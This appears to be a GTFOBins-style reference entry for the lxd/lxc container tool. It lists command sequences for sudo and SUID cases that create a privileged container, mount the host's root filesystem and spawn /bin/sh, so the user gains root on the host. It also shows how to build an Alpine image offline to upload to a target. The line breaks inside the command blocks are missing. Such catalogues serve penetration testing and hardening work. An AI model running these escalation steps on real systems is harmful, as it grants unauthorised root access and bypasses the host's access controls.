lxd

Shell

This executable can spawn an interactive system shell.

CommentThe image (e.g., ubuntu:16.04) must be present already, otherwise it will be downloaded.
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
lxc init ubuntu:16.04 x -c security.privileged=truelxc config device add x x disk source=/ path=/mnt/ recursive=truelxc start xlxc exec x /bin/sh
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
lxc init ubuntu:16.04 x -c security.privileged=truelxc config device add x x disk source=/ path=/mnt/ recursive=truelxc start xlxc exec x /bin/sh
```
Comment
This requires steps to be run offline, then the resulting image must be uploaded to target. Build the local image with lxd-alpine-builder:
```
git clone https://github.com/saghul/lxd-alpine-buildercd lxd-alpine-buildersudo ./build-alpine -a i686
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
lxc image import ./alpine*.tar.gz --alias xlxc init x x -c security.privileged=truelxc config device add x x disk source=/ path=/mnt/ recursive=truelxc start xlxc exec x /bin/sh
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
lxc image import ./alpine*.tar.gz --alias xlxc init x x -c security.privileged=truelxc config device add x x disk source=/ path=/mnt/ recursive=truelxc start xlxc exec x /bin/sh
```